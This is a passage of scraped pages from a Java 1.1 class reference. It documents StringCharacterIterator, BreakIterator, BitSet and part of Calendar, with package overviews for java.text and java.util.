getNumberFormat() | DateFormat | getTimeZone() | DateFormat
isLenient() | DateFormat | notify() | Object
notifyAll() | Object | parse(String) | DateFormat
parseObject(String) | Format | parseObject(String, ParsePosition) | DateFormat
setCalendar(Calendar) | DateFormat | setLenient(boolean) | DateFormat
setNumberFormat(NumberFormat) | DateFormat | setTimeZone(TimeZone) | DateFormat
toString() | Object | wait() | Object
wait(long) | Object | wait(long, int) | Object

See Also

Calendar, Date, DateFormat, DateFormatSymbols, FieldPosition, Format, Locale, ParsePosition, String, StringBuffer, TimeZone

Previous | Home | Next
RuleBasedCollator | Book Index | StringCharacterIterator
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 16] StringCharacterIterator

Java Fundamental Classes Reference

Previous Chapter 16
The java.text Package 		Next

StringCharacterIterator

Name

StringCharacterIterator

Synopsis

Class Name:

java.text.StringCharacterIterator

Superclass:

java.lang.Object

Immediate Subclasses:

None

Interfaces Implemented:

java.text.CharacterIterator

Availability:

New as of JDK 1.1

Description

The StringCharacterIterator class can move bidirectionally through a character string. In other words, the class iterates through the characters in a String. The class implements the CharacterIterator interface. The class is used by BreakIterator to find boundaries in text strings.

Class Summary

public final class java.text.StringCharacterIterator
                    extends java.lang.Object
                    implements java.text.CharacterIterator {
  // Constructors
  public StringCharacterIterator(String text);
  public StringCharacterIterator(String text, int pos);
  public StringCharacterIterator(String text, int begin, int end, int pos);
  // Instance Methods
  public Object clone();
  public char current();
  public boolean equals(Object obj);
  public char first();
  public int getBeginIndex();
  public int getEndIndex();
  public int getIndex();
  public int hashCode();
  public char last();
  public char next();
  public char previous();
  public char setIndex(int p);
}

Constructors

StringCharacterIterator

public StringCharacterIterator(String text)

Parameters

text

The String to use.

Description

This constructor creates a StringCharacterIterator that uses the given string. The initial index of the iterator is at the beginning of the string, or in other words, at index 0.

public StringCharacterIterator(String text, int pos)

Parameters

text

The String to use.

pos

The initial position.

Description

This constructor creates a StringCharacterIterator that uses the given string. The initial index of the iterator is set to the given initial position.

 public StringCharacterIterator(String text, int begin, int end, int pos)

Parameters

text

The String to use.

begin

The beginning index.

end

The ending index.

pos

The initial position.

Description

This constructor creates a StringCharacterIterator that uses the specified range of the given string. In other words, the iterator uses the sequence of text from the specified beginning index to the specified ending index. The initial index of the iterator is set to the given initial position.

Instance Methods

clone

public Object clone()

Returns

A copy of this StringCharacterIterator.

Implements

CharacterIterator.clone()

Overrides

Object.clone()

Description

This method creates a copy of this StringCharacterIterator and returns it.

current

public char current()

Returns

The character at the current position of this StringCharacterIterator or DONE if the current position is not within the text sequence.

Implements

CharacterIterator.current()

Description

This method returns the character at the current position of this CharacterIterator. The current position is returned by getIndex().

equals

public boolean equals(Object obj)

Parameters

obj

The object to be compared with this object.

Returns

true if the objects are equal; false if they are not.

Overrides

Object.equals()

Description

This method returns true if obj is an instance of StringCharacterIterator and is equivalent to this StringCharacterIterator.

first

public char first()

Returns

The first character in this StringCharacterIterator.

Implements

CharacterIterator.first()

Description

This method returns the character at the first position in this StringCharacterIterator. The first position is returned by getBeginIndex(). The current position of the iterator is set to this position.

getBeginIndex

public int getBeginIndex()

Returns

The index of the first character in this StringCharacterIterator.

Implements

CharacterIterator.getBeginIndex()

Description

This method returns the index of the beginning of the text for this StringCharacterIterator.

getEndIndex

public int getEndIndex()

Returns

The index after the last character in this StringCharacterIterator.

Implements

CharacterIterator.getEndIndex()

Description

This method returns the index of the character following the end of the text for this StringCharacterIterator.

getIndex

public int getIndex()

Returns

The index of the current character in this StringCharacterIterator.

Description

This method returns the current position, or index, of this StringCharacterIterator.

hashCode

public int hashCode()

Returns

A hashcode for this object.

Overrides

Object.hashCode()

Description

This method returns a hashcode for this StringCharacterIterator.

last

public char last()

Returns

The last character in this StringCharacterIterator.

Implements

CharacterIterator.last()

Description

This method returns the character at the ending position of this StringCharacterIterator. The last position is the value of getEndIndex()-1. The current position of the iterator is set to this position.

next

public char next()

Returns

The next character in this StringCharacterIterator or DONE if the current position is already at the end of the text.

Implements

CharacterIterator.next()

Description

This method increments the current position of this StringCharacterIterator by 1 and returns the character at the new position. If the current position is already at getEndIndex(), the position is not changed and DONE is returned.

previous

public char previous()

Returns

The previous character in this StringCharacterIterator or DONE if the current position is already at the beginning of the text.

Implements

CharacterIterator.previous()

Description

This method decrements the current position of this StringCharacterIterator by 1 and returns the character at the new position. If the current position is already at getBeginIndex(), the position is not changed and DONE is returned.

setIndex

public char setIndex(int p)

Parameters

p

The new position.

Returns

The character at the specified position in this StringCharacterIterator.

Throws

IllegalArgumentException

If the given position is not between getBeginIndex() and getEndIndex()-1.

Implements

CharacterIterator.setIndex()

Description

This method sets the current position, or index, of this StringCharacterIterator to the given position.

Inherited Methods

Method | Inherited From | Method | Inherited From
finalize() | Object | getClass() | Object
notify() | Object | notifyAll() | Object
toString() | Object | wait() | Object
wait(long) | Object | wait(long, int) | Object

See Also

BreakIterator, CharacterIterator, String

Previous | Home | Next
SimpleDateFormat | Book Index | BitSet
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 16] The java.text Package

Java Fundamental Classes Reference

Previous Chapter 16 Next

16. The java.text Package

Contents:

Select a new section and then

The package java.text is new as of Java 1.1. It contains classes that support the internationalization of Java programs. The internationalization classes can be grouped as follows:

  • Classes for formatting string representations of dates, times, numbers, and messages based on the conventions of a locale.

  • Classes that collate strings according to the rules of a locale.

  • Classes for finding boundaries in text according to the rules of a locale.

Many of the classes in java.text rely upon a java.util.Locale object to provide information about the locale that is in use.

The Format class is the superclass of all of the classes that generate and parse string representations of various types of data. The DateFormat class formats and parses dates and times according to the customs and language of a particular locale. Similarly, the NumberFormat class formats and parses numbers, including currency values, in a locale-dependent manner.

The MessageFormat class can create a textual message from a pattern string, while ChoiceFormat maps numerical ranges to strings. By themselves, these classes do not provide different results for different locales. However, they can be used in conjunction with java.util.ResourceBundle objects that generate locale-specific pattern strings.

The Collator class handles collating strings according to the rules of a particular locale. Different languages have different characters and different rules for sorting those characters; Collator and its subclass, RuleBasedCollator, are designed to take those differences into account when collating strings. In addition, the CollationKey class can be used to optimize the sorting of a large collection of strings.

The BreakIterator class finds various boundaries, such as word boundaries and line boundaries, in textual data. Again, BreakIterator locates these boundaries according to the rules of a particular locale.

Figure 16.1 shows the class hierarchy for the java.text package.

Figure 16.1: The java.text package

[Graphic: Figure 16-1]

BreakIterator

Name

BreakIterator

Synopsis

Class Name:

java.text.BreakIterator

Superclass:

java.lang.Object

Immediate Subclasses:

None

Interfaces Implemented:

java.lang.Cloneable, java.io.Serializable

Availability:

New as of JDK 1.1

Description

The BreakIterator class is an abstract class that defines methods that find the locations of boundaries in text, such as word boundaries and sentence boundaries. A BreakIterator operates on the object passed to its setText() method; that object must implement the CharacterIterator interface or be a String object. When a String is passed to setText(), the BreakIterator creates an internal StringCharacterIterator to iterate over the String.

When you use a BreakIterator, you call first() to get the location of the first boundary and then repeatedly call next() to iterate through the subsequent boundaries.

The BreakIterator class defines four static factory methods that return instances of BreakIterator that locate various kinds of boundaries. Each of these factory methods selects a concrete subclass of BreakIterator based either on the default locale or a specified locale. You must create a separate instance of BreakIterator to handle each kind of boundary you are trying to locate:

  • getWordInstance() returns an iterator that locates word boundaries, which is useful for search-and-replace operations. A word iterator correctly handles punctuation marks.

  • getSentenceInstance() returns an iterator that locates sentence boundaries, which is useful for textual selection. A sentence iterator correctly handle punctuation marks.

  • getLineInstance() returns an iterator that locates line boundaries, which is useful in line wrapping. A line iterator correctly handles hyphenation and punctuation.

  • getCharacterInstance() returns an iterator that locates boundaries between characters, which is useful for allowing the cursor to interact with characters appropriately, since some characters are stored as a base character and a diacritical mark, but only represent one display character.

Class Summary

public abstract class java.util.BreakIterator extends java.lang.Object
                      implements java.lang.Cloneable,
                                 java.io.Serializable {
  // Constants
  public final static int DONE;
  // Constructors
  protected BreakIterator();
  // Class Methods
  public static synchronized Locale[] getAvailableLocales();
  public static BreakIterator getCharacterInstance();
  public static BreakIterator getCharacterInstance(Locale where);
  public static BreakIterator getLineInstance();
  public static BreakIterator getLineInstance(Locale where);
  public static BreakIterator getSentenceInstance();
  public static BreakIterator getSentenceInstance(Locale where);
  public static BreakIterator getWordInstance();
  public static BreakIterator getWordInstance(Locale where);
  // Instance Methods
  public Object clone();
  public abstract int current();
  public abstract int first();
  public abstract int following(int offset);
  public abstract CharacterIterator getText();
  public abstract int last();
  public abstract int next();
  public abstract int next(int n)
  public abstract int previous();
  public abstract void setText(CharacterIterator newText);
  public void setText(String newText);
}

Constants

DONE

public final static int DONE

Description

A constant that is returned by next() or previous() if there are no more breaks to be returned.

Constructors

BreakIterator

protected BreakIterator()

Description

This constructor should be called only from constructors of subclasses.

Class Methods

getAvailableLocales

public static synchronized Locale[] getAvailableLocales()

Returns

An array of Locale objects.

Description

This method returns an array of the Locale
objects that can be passed to getCharacterInstance(),
getLineInstance(),
getSentenceInstance(),
or getWordInstance().

getCharacterInstance

public static BreakIterator getCharacterInstance()

Returns

A BreakIterator appropriate for the default Locale.

Description

This method creates a BreakIterator that can locate character boundaries in the default Locale.

public static BreakIterator getCharacterInstance(Locale where)

Parameters

where

The Locale to use.

Returns

A BreakIterator appropriate for the given Locale.

Description

This method creates a BreakIterator that can locate character boundaries in the given Locale.

getLineInstance

public static BreakIterator getLineInstance()

Returns

A BreakIterator appropriate for the default Locale.

Description

This method creates a BreakIterator that can locate line boundaries in the default Locale.

public static BreakIterator getLineInstance(Locale where)

Parameters

where

The Locale to use.

Returns

A BreakIterator appropriate for the given Locale.

Description

This method creates a BreakIterator that can locate line boundaries in the given Locale.

getSentenceInstance

public static BreakIterator getSentenceInstance()

Returns

A BreakIterator appropriate for the default Locale.

Description

This method creates a BreakIterator that can locate sentence boundaries in the default Locale.

public static BreakIterator getSentenceInstance(Locale where)

Parameters

where

The Locale to use.

Returns

A BreakIterator appropriate for the given Locale.

Description

This method creates a BreakIterator that can locate sentence boundaries in the given Locale.

getWordInstance

public static BreakIterator getWordInstance()

Returns

A BreakIterator appropriate for the default Locale.

Description

This method creates a BreakIterator that can locate word boundaries in the default Locale.

public static BreakIterator getWordInstance(Locale where)

Parameters

where

The Locale to use.

Returns

A BreakIterator appropriate for the given Locale.

Description

This method creates a BreakIterator that can locate word boundaries in the given Locale.

Instance Methods

clone

public Object clone()

Returns

A copy of this BreakIterator.

Overrides

Object.clone()

Description

This method creates a copy of this BreakIterator and then returns it.

current

public abstract int current()

Returns

The current position of this BreakIterator.

Description

This method returns the current position of this BreakIterator. The current position is the character index of the most recently returned boundary.

first

public abstract int first()

Returns

The position of the first boundary of this BreakIterator.

Description

This method finds the first boundary in this BreakIterator and returns its character index. The current position of the iterator is set to this boundary.

following

public abstract int following(int offset)

Parameters

offset

An offset into this BreakIterator.

Returns

The position of the first boundary after the given offset of this BreakIterator or DONE if there are no more boundaries.

Throws

IllegalArgumentException

If offset is not a valid value for the CharacterIterator of this BreakIterator.

Description

This method finds the first boundary after the given offset in this BreakIterator and returns its character index.

getText

public abstract CharacterIterator getText()

Returns

The CharacterIterator that this BreakIterator uses.

Description

This method returns a CharacterIterator that represents the text this BreakIterator examines.

last

public abstract int last()

Returns

The position of the last boundary of this BreakIterator.

Description

This method finds the last boundary in this BreakIterator and returns its character index. The current position of the iterator is set to this boundary.

next

public abstract int next()

Returns

The position of the next boundary of this BreakIterator or DONE if there are no more boundaries.

Description

This method finds the next boundary in this BreakIterator after the current position and returns its character index. The current position of the iterator is set to this boundary.

public abstract int next(int n)

Parameters

n

The boundary to return. A positive value moves to a later boundary a negative value moves to a previous boundary; the value 0 does nothing.

Returns

The position of the requested boundary of this BreakIterator.

Description

This method finds the nth boundary in this BreakIterator, starting from the current position, and returns its character index. The current position of the iterator is set to this boundary.

For example, next(-2) finds
the third previous boundary. Thus next(1)
is equivalent to next(), next(-1)
is equivalent to previous(),
and next(0) does nothing.

previous

public abstract int previous()

Returns

The position of the previous boundary of this BreakIterator.

Description

This method finds the previous boundary in this BreakIterator, starting from the current position, and returns its character index. The current position of the iterator is set to this boundary.

setText

public abstract void setText(CharacterIterator newText)

Parameters

newText

The CharacterIterator that contains the text to be examined.

Description

This method tells this BreakIterator to examine the piece of text specified by the CharacterIterator. This current position of this BreakIterator is set to first().

public void setText(String newText)

Parameters

newText

The String that contains the text to be examined.

Description

This method tells this BreakIterator to examine the piece of text specified by the String, using a StringCharacterIterator created from the given string. This current position of this BreakIterator is set to first().

Inherited Methods

Method | Inherited From | Method | Inherited From
equals(Object) | Object | finalize() | Object
getClass() | Object | hashCode() | Object
notify() | Object | notifyAll() | Object
toString() | Object | wait() | Object
wait(long) | Object | wait(long, int) | Object

See Also

CharacterIterator, Locale, String, StringCharacterIterator

Previous | Home | Next
UnknownServiceException | Book Index | CharacterIterator
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 17] The java.util Package

Java Fundamental Classes Reference

Previous Chapter 17 Next

17. The java.util Package

Contents:
Calendar
Date
Dictionary
EmptyStackException
Enumeration
EventListener
EventObject
GregorianCalendar
Hashtable
ListResourceBundle
Locale
MissingResourceException
NoSuchElementException
Observable
Observer
Properties
PropertyResourceBundle
Random
ResourceBundle
SimpleTimeZone
Stack
StringTokenizer
TimeZone
TooManyListenersException
Vector

The package java.util contains a number of useful classes and interfaces. Although the name of the package might imply that these are utility classes, they are really more important than that. In fact, Java depends directly on several of the classes in this package, and many programs will find these classes indispensable. The classes and interfaces in java.util include:

  • The Hashtable class for implementing hashtables, or associative arrays.

  • The Vector class, which supports variable-length arrays.

  • The Enumeration interface for iterating through a collection of elements.

  • The StringTokenizer class for parsing strings into distinct tokens separated by delimiter characters.

  • The EventObject class and the EventListener interface, which form the basis of the new AWT event model in Java 1.1.

  • The Locale class in Java 1.1, which represents a particular locale for internationalization purposes.

  • The Calendar and TimeZone classes in Java. These classes interpret the value of a Date object in the context of a particular calendar system.

  • The ResourceBundle class and its subclasses, ListResourceBundle and PropertyResourceBundle, which represent sets of localized data in Java 1.1.

Figure 17.1 shows the class hierarchy for the java.util package.

Figure 17.1: The java.util package

[Graphic: Figure 17-1]

BitSet

Name

BitSet

Synopsis

Class Name:

java.util.BitSet

Superclass:

java.lang.Object

Immediate Subclasses:

None

Interfaces Implemented:

java.lang.Cloneable, java.io.Serializable

Availability:

JDK 1.0 or later

Description

The BitSet class implements a set of bits. The set grows in size as needed. Each element of a BitSet has a boolean value. When a BitSet object is created, all of the bits are set to false by default. The bits in a BitSet are indexed by nonnegative integers, starting at 0. The size of a BitSet is the number of bits that it currently contains. The BitSet class provides methods to set, clear, and retrieve the values of the individual bits in a BitSet. There are also methods to perform logical AND, OR, and XOR operations.

Class Summary

public final class java.util.BitSet extends java.lang.Object
                   implements java.lang.Cloneable, java.io.Serializable {
  // Constructors
  public BitSet();
  public BitSet(int nbits);
  // Instance Methods
  public void and(BitSet set);
  public void clear(int bit);
  public Object clone();
  public boolean equals(Object obj);
  public boolean get(int bit);
  public int hashCode();
  public void or(BitSet set);
  public void set(int bit);
  public int size();
  public String toString();
  public void xor(BitSet set);
}

Constructors

BitSet

public BitSet()

Description

This constructor creates a BitSet with a default size of 64 bits. All of the bits in the BitSet are initially set to false.

public BitSet(int nbits)

Parameters

nbits

The initial number of bits.

Description

This constructor creates a BitSet with a size of nbits. All of the bits in the BitSet are initially set to false.

Instance Methods

and

public void and(BitSet set)

Parameters

set

The BitSet to AND with this BitSet.

Description

This method computes the logical AND of this BitSet and the specified BitSet and stores the result in this BitSet. In other words, for each bit in this BitSet, the value is set to only true if the bit is already true in this BitSet and the corresponding bit in set is true.

If the size of set is greater than the size of this BitSet, the extra bits in set are ignored. If the size of set is less than the size of this BitSet, the extra bits in this BitSet are set to false.

clear

public void clear(int bit)

Parameters

bit

The index of the bit to clear.

Description

This method sets the bit at the given index to false. If bit is greater than or equal to the number of bits in the BitSet, the size of the BitSet is increased so that it contains bit values. All of the additional bits are set to false.

clone

public Object clone()

Returns

A copy of this BitSet.

Overrides

Object.clone()

Description

This method creates a copy of this BitSet and returns it. In other words, the returned BitSet has the same size as this BitSet, and it has the same bits set to true.

equals

public boolean equals(Object obj)

Parameters

obj

The object to be compared with this object.

Returns

true if the objects are equal; false if they are not.

Overrides

Object.equals()

Description

This method returns true if obj is an instance of BitSet and it contains the same bit values as the object this method is associated with. In other words, this method compares each bit of this BitSet with the corresponding bit of obj. If any bits do not match, the method returns false. If the size of this BitSet is different than obj, the extra bits in either this BitSet or in obj must be false for this method to return true.

get

public boolean get(int bit)

Parameters

bit

The index of the bit to retrieve.

Returns

The boolean value of the bit at the given index.

Description

This method returns the value of the given bit. If bit is greater than or equal to the number of bits in the BitSet, the method returns false.

hashCode

public int hashCode()

Returns

The hashcode for this BitSet.

Overrides

Object.hashCode()

Description

This method returns a hashcode for this object.

or

public void or(BitSet set)

Parameters

set

The BitSet to OR with this BitSet.

Description

This method computes the logical OR of this BitSet and the specified BitSet, and stores the result in this BitSet. In other words, for each bit in this BitSet, the value is set to true if the bit is already true in this BitSet or the corresponding bit in set is true.

If the size of set is greater than the size of this BitSet, this BitSet is first increased in size to accommodate the additional bits. All of the additional bits are initially set to false.

set

public void set(int bit)

Parameters

bit

The index of the bit to set.

Description

This method sets the bit at the given index to true. If bit is greater than or equal to the number of bits in the BitSet, the size of the BitSet is increased so that it contains bit values. All of the additional bits except the last one are set to false.

size

public int size()

Returns

The size of this BitSet.

Description

This method returns the size of this BitSet, which is the number of bits currently in the set.

toString

public String toString()

Returns

A string representation of this BitSet.

Overrides

Object.toString()

Description

This method returns a string representation of this BitSet. The string lists the indexes of all the bits in the BitSet that are true.

xor

public void xor(BitSet set)

Parameters

set

The BitSet to XOR with this BitSet.

Description

This method computes the logical XOR (exclusive OR) of this BitSet and the specified BitSet and stores the result in this BitSet. In other words, for each bit in this BitSet, the value is set to true only if the bit is already true in this BitSet, and the corresponding bit in set is false, or if the bit is false in this BitSet and the corresponding bit in set is true.

If the size of set is greater than the size of this BitSet, this BitSet is first increased in size to accommodate the additional bits. All of the additional bits are initially set to false.

Inherited Methods

Method | Inherited From | Method | Inherited From
finalize() | Object | getClass() | Object
notify() | Object | notifyAll() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Cloneable, Serializable

Previous | Home | Next
Vector | Book Index | Calendar
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 17] Calendar

Java Fundamental Classes Reference

Previous Chapter 17
The java.util Package 		Next

Calendar

Name

Calendar

Synopsis

Class Name:

java.util.Calendar

Superclass:

java.lang.Object

Immediate Subclasses:

java.util.GregorianCalendar

Interfaces Implemented:

java.lang.Cloneable, java.io.Serializable

Availability:

New as of JDK 1.1

Description

The Calendar class is an abstractclass that is used to convert between Date objects, which represent points in time, and calendar fields, like months or days of the week. The JDK 1.0 Date class included calendar and text-formatting methods. As of JDK 1.1, both of these functions have been split off from Date in order to support internationalization. As of JDK 1.1, Date represents only a point in time, measured in milliseconds. A subclass of Calendar examines the Date in the context of a particular calendar system; a Calendar instance is a locale-sensitive object. Also as of JDK 1.1, the java.text.DateFormat class generates and parses strings representing points in time.

Calendar defines a number of symbolic constants. They represent either fields or values. For example, MONTH is a field constant. It can be passed to get() and set() to retrieve and adjust the month. AUGUST, on the other hand, represents a particular month value. Calling get(Calendar.MONTH) could return Calendar.AUGUST.

Internally, Calendar keeps track of a point in time in two ways. First, a "raw" value is maintained, which is simply a count of milliseconds since midnight, January 1, 1970 GMT, or, in other words, a Date object. Second, the calendar keeps track of a number of fields, which are the values that are specific to the Calendar type. These are values such as day of the week, day of the month, and month. The raw millisecond value can be calculated from the field values, or vice versa.

When a Date object is computed from the time fields, there may be insufficient information to compute the raw millisecond value. For example, the year and the month could be set, but not the day of the month. In this case, Calendar uses default information to fill in the missing fields. For GregorianCalendar, the default field values are taken from the date of the epoch, or midnight, January 1, 1970 GMT.

Another problem that can arise when computing a Date object from the time fields is that of inconsistent information in the fields. For example, the time fields could specify "Sunday, March 8, 1997" when in fact March 8, 1997 is a Saturday. If the time fields contain inconsistent information, Calendar gives preference to the combinations of fields in the following order:

  1. month and day of the week

  2. month, week of the month, and day of the week

  3. month, day of the week in the month, and day of the week

  4. day of the year

  5. day of the week and week of the year

  6. hour of the day

  7. A.M./P.M. and hour of A.M./P.M.

There is also the possibility of ambiguity for certain points in time, so the following rules apply. The time 24:00:00 belongs to the next day and midnight is an A.M. time, while noon is a P.M. time.

Class Summary

public abstract class java.util.Calendar extends java.lang.Object
                      implements java.lang.Cloneable, java.io.Serializable {
  // Constants
  public final static int AM;
  public final static int AM_PM;
  public final static int APRIL;
  public final static int AUGUST;
  public final static int DATE;
  public final static int DAY_OF_MONTH;
  public final static int DAY_OF_WEEK;
  public final static int DAY_OF_WEEK_IN_MONTH;
  public final static int DAY_OF_YEAR;
  public final static int DECEMBER;
  public final static int DST_OFFSET;
  public final static int ERA;
  public final static int FEBRUARY;
  public final static int FIELD_COUNT;
  public final static int FRIDAY;
  public final static int HOUR;
  public final static int HOUR_OF_DAY;
  public final static int JANUARY;
  public final static int JULY;
  public final static int JUNE;
  public final static int MARCH;
  public final static int MAY;
  public final static int MILLISECOND;
  public final static int MINUTE;
  public final static int MONDAY;
  public final static int MONTH;
  public final static int NOVEMBER;
  public final static int OCTOBER;
  public final static int PM;
  public final static int SATURDAY;
  public final static int SECOND;
  public final static int SEPTEMBER;
  public final static int SUNDAY;
  public final static int THURSDAY;
  public final static int TUESDAY;
  public final static int UNDECIMBER;
  public final static int WEDNESDAY;
  public final static int WEEK_OF_MONTH;
  public final static int WEEK_OF_YEAR;
  public final static int YEAR;
  public final static int ZONE_OFFSET;
  // Variables
  protected boolean areFieldsSet;
  protected int[] fields;
  protected boolean[] isSet;
  protected boolean isTimeSet;
  protected long time;
  // Constructors
  protected Calendar();
  protected Calendar(TimeZone zone, Locale aLocale);
  // Class Methods
  public static synchronized Locale[] getAvailableLocales();
  public static synchronized Calendar getInstance();
  public static synchronized Calendar getInstance(TimeZone zone);
  public static synchronized Calendar getInstance(Locale aLocale);
  public static synchronized Calendar getInstance(TimeZone zone,
                                      Locale aLocale);
  // Instance Methods
  public abstract void add(int field, int amount);
  public abstract boolean after(Object when);
  public abstract boolean before(Object when);
  public final void clear();
  public final void clear(int field);
  public Object clone();
  public abstract boolean equals(Object when);
  public final int get(int field);
  public int getFirstDayOfWeek();
  public abstract int getGreatestMinimum(int field);
  public abstract int getLeastMaximum(int field);
  public abstract int getMaximum(int field);
  public int getMinimalDaysInFirstWeek();
  public abstract int getMinimum(int field);
  public final Date getTime();
  public TimeZone getTimeZone();
  public boolean isLenient();
  public final boolean isSet(int field);
  public abstract void roll(int field, boolean up);
  public final void set(int field, int value);
  public final void set(int year, int month, int date);
  public final void set(int year, int month, int date,
                       int hour, int minute);
  public final void set(int year, int month, int date, int hour,
                       int minute, int second);
  public void setFirstDayOfWeek(int value);
  public void setLenient(boolean lenient);
  public void setMinimalDaysInFirstWeek(int value);
  public final void setTime(Date date);
  public void setTimeZone(TimeZone value);
  // Protected Instance Methods
  protected void complete();
  protected abstract void computeFields();
  protected abstract void computeTime();
  protected long getTimeInMillis();
  protected final int internalGet(int field);
  protected void setTimeInMillis(long millis);
}

Constants

AM

public final static int AM

Description

A constant value that represents morning times.

AM_PM

public final static int AM_PM

Description

A field constant that represents the A.M./P.M. flag of this object.

APRIL

public final static int APRIL

Description

A constant value that represents the month of April.

AUGUST

public final static int AUGUST

Description

A constant value that represents the month of August.

DATE

public final static int DATE

Description

A field constant that represents the day of the month of this object.

DAY_OF_MONTH

public final static int DAY_OF_MONTH

Description

A field constant that represents the day of the month of this object. This field is synonymous with DATE.

DAY_OF_WEEK

public final static int DAY_OF_WEEK

Description

A field constant that represents the day of the week of this object.

DAY_OF_WEEK_IN_MONTH

public final static int DAY_OF_WEEK_IN_MONTH

Description

A field constant that represents the day of the week in the current month. For example, February 10, 1997, has a DAY_OF_WEEK_IN_MONTH value of 2 because it is the second Monday in February for that year.

DAY_OF_YEAR

public final static int DAY_OF_YEAR

Description

A field constant that represents the day of the year of this object. January 1 is the first day of the year.

DECEMBER

public final static int DECEMBER

Description

A constant value that represents the month of December.

DST_OFFSET

public final static int DST_OFFSET

Description

A field constant that represents the offset due to daylight savings time, in milliseconds, of this object.

ERA

public final static int ERA

Description

A field constant that represents the era of this object. A Gregorian calendar has two eras, BC and AD.

FEBRUARY

public final static int FEBRUARY

Description

A constant value that represents the month of February.

FIELD_COUNT

public final static int FIELD_COUNT

Description

A constant that represents the number of attribute fields for Calendar objects.

FRIDAY

public final static int FRIDAY

Description

A constant value that represents the day Friday.

HOUR

public final static int HOUR

Description

A field constant that represents the hour of this object.

HOUR_OF_DAY

public final static int HOUR_OF_DAY

Description

A field constant that represents the hour of the day of this object. A time of 1:00 P.M. has an HOUR value of 1, but an HOUR_OF_DAY value of 13.

JANUARY

public final static int JANUARY

Description

A constant value that represents the month of January.

JULY

public final static int JULY

Description

A constant value that represents the month of July.

JUNE

public final static int JUNE

Description

A constant value that represents the month of June.

MARCH

public final static int MARCH

Description

A constant value that represents the month of March.

MAY

public final static int MAY

Description

A constant value that represents the month of May.

MILLISECOND

public final static int MILLISECOND

Description

A field constant that represents the milliseconds of this object.

MINUTE

public final static int MINUTE

Description

A field constant that represents the minutes of this object.

MONDAY

public final static int MONDAY

Description

A constant value that represents the day Monday.

MONTH

public final static int MONTH

Description

A field constant that represents the month of this object.

NOVEMBER

public final static int NOVEMBER

Description

A constant value that represents the month of November.

OCTOBER

public final static int OCTOBER

Description

A constant value that represents the month of October.

PM

public final static int PM

Description

A constant value that represents afternoon and evening times.

SATURDAY

public final static int SATURDAY

Description

A constant value that represents the day Saturday.

SECOND

public final static int SECOND

Description

A field constant that represents the seconds of this object.

SEPTEMBER

public final static int SEPTEMBER

Description

A constant value that represents the month of September.

SUNDAY

public final static int SUNDAY

Description

A constant value that represents the day Sunday.

THURSDAY

public final static int THURSDAY

Description

A constant value that represents the day Thursday.

TUESDAY

public final static int TUESDAY

Description

A constant value that represents the day Tuesday.

UNDECIMBER

public final static int UNDECIMBER

Description

A constant value that represents the thirteenth month used in lunar calendars.

WEDNESDAY

public final static int WEDNESDAY

Description

A constant value that represents the day Wednesday.

WEEK_OF_MONTH

public final static int WEEK_OF_MONTH

Description

A field constant that represents the week of the month of this object.

WEEK_OF_YEAR

public final static int WEEK_OF_YEAR

Description

A field constant that represents the week of the year of this object.

YEAR

public final static int YEAR

Description

A field constant that represents the year of this object.

ZONE_OFFSET

public final static int ZONE_OFFSET

Description

A field constant that represents the raw time zone offset, in milliseconds, of this object. The value should be added to GMT to get local time.

Variables

areFieldsSet

protected boolean areFieldsSet

Description

A boolean value that indicates if the time fields of this Calendar have been set. These fields can be computed from the raw millisecond time value.

fields

protected int[] fields

Description

An array that stores the time field values for this Calendar.

isSet

protected boolean[] isSet

Description

An array that contains a flag for each entry in the fields array. The value of each flag indicates if the corresponding entry in fields has been set for this Calendar.

isTimeSet

protected boolean isTimeSet

Description

A boolean value that indicates if the raw millisecond time value of this Calendar has been set. The value can be computed from the time fields.

time

protected long time

Description

The raw time value for this Calendar. The value is the number of milliseconds since midnight, January 1, 1970 GMT.

Constructors

Calendar

protected Calendar()

Description

This constructor creates a Calendar that uses the system's default time zone and locale. The default time zone is that returned by TimeZone.getDefault(). The default locale is that returned by Locale.getDefault().

protected Calendar(TimeZone zone, Locale aLocale)

Parameters

zone

The TimeZone to use.

aLocale

The Locale to use.

Description

This constructor creates a Calendar that uses the supplied time zone and locale.

Class Methods

getAvailableLocales

public static synchronized Locale[] getAvailableLocales()

Returns

An array of Locale objects for which Calendar objects are installed.

Description

This method returns an array of locales that have corresponding Calendar objects.

getInstance

public static synchronized Calendar getInstance()

Returns

A Calendar for the default time zone and locale.

Description

This method returns a newly constructed Calendar for the default time zone and locale. Future implementations of this method may infer the subclass of Calendar to instantiate based on the default locale. However, the current implementation always returns a GregorianCalendar. The default time zone is that returned by TimeZone.getDefault(). The default locale is that returned by Locale.getDefault().

public static synchronized Calendar getInstance(TimeZone zone)

Parameters

zone

The TimeZone to use.

Returns

A Calendar for the given time zone and the default locale.

Description

This method returns a newly constructed Calendar for the given time zone and the default locale. Future implementations of this method may infer the subclass of Calendar to instantiate based on the default locale. However, the current implementation always returns a GregorianCalendar. The default locale is that returned by Locale.getDefault().

public static synchronized Calendar getInstance(Locale aLocale)

Parameters

aLocale

The Locale to use.

Returns

A Calendar for the given locale and the default time zone.

Description

This method returns a newly constructed Calendar for the given locale and the default time zone. Future implementations of this method may infer the subclass of Calendar to instantiate based on the given locale. However, the current implementation always returns a GregorianCalendar. The default time zone is that returned by TimeZone.getDefault().

public static synchronized Calendar getInstance(TimeZone zone, Locale aLocale)

Parameters

zone

The TimeZone to use.

aLocale

The Locale to use.

Returns

A Calendar for the given time zone and locale.

Description

This method returns a newly constructed Calendar for the given time zone and locale. Future implementations of this method may infer the subclass of Calendar to instantiate based on the given locale. However, the current implementation always returns a GregorianCalendar.

Instance Methods

add

public abstract void add(int field, int amount)

Parameters

field

The time field to be modified.

amount

The amount to add to the specified field value. This value can be negative.

Description

This method adds the given amount to the specified time field. For example, you can compute a date 90 days beyond the current date of this Calendar by calling add(Calendar.DATE, 90).

after

public abstract boolean after(Object when)

Parameters

when

The object to compare to this Calendar.

Returns

true if this object is after when; false otherwise.

Description

This method returns true if when is a Calendar object whose value falls before the value of this Calendar.

before

public abstract boolean before(Object when)

Parameters

when

The object to compare to this Calendar.

Returns

true if this object is before when; false otherwise.

Description

This method returns true if when is a Calendar object whose value falls after the value of this Calendar.

clear

public final void clear()

Description

